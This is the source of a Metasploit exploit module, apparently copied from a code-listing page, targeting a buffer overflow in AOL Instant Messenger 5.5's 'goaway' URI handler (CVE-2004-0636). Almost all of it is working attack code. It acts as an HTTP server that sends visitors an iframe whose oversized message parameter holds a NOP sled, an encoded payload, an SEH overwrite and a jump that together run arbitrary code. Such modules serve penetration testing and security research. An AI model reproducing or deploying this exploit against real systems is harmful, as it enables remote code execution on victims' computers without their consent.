|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96  |  ## # $Id: aim_goaway.rb 9669 2010-07-03 03:13:45Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote  Rank = GreatRanking  #  # This module acts as an HTTP server and exploits an SEH overwrite  #  include Msf::Exploit::Seh  include Msf::Exploit::Remote::HttpServer::HTML  def initialize(info = {})  super(update_info(info,  'Name' => 'AOL Instant Messenger goaway Overflow',  'Description'=> %q{  This module exploits a flaw in the handling of AOL Instant  Messenger's 'goaway' URI handler.An attacker can execute  arbitrary code by supplying a overly sized buffer as the  'message' parameter.This issue is known to affect AOL Instant  Messenger 5.5.  },  'License'=> MSF_LICENSE,  'Author' =>  [  'skape',  'thief <thief@hick.org>'  ],  'Version'=> '$Revision: 9669 $',  'References' =>  [  [ 'CVE', '2004-0636' ],  [ 'OSVDB', '8398'],  [ 'BID', '10889'],  [ 'URL', 'http://www.idefense.com/application/poi/display?id=121&type=vulnerabilities' ],  ],  'Payload'=>  {  'Space'=> 1014,  'MaxNops'=> 1014,  'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",  'StackAdjustment' => -3500,  },  'Targets'=>  [  # Target 0: Automatic  [  'Windows NT/2000/XP/2003 Automatic',  {  'Platform' => 'win',  'Rets' =>  [  0x1108118f, # proto.com: pop/pop/ret  ],  },  ],  ],  'DefaultTarget'=> 0,  'DisclosureDate' => 'Aug 09 2004'))  end  def on_request_uri(cli, request)  # Re-generate the payload  return if ((p = regenerate_payload(cli)) == nil)  # Build out the message  msg =  make_nops(1014 - p.encoded.length) + # NOP sled before the payload  p.encoded +# store the payload  generate_seh_record(target['Rets'][0]) + # set up the SEH frame  "\x90\xe9\x13\xfc\xff\xff" # jmp -1000  # Build the HTML content  content = "<html><iframe src='aim:goaway?message=#{msg}'></html>"  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")  # Transmit the response to the client  send_response_html(cli, content)  # Handle the payload  handler(cli)  end end  |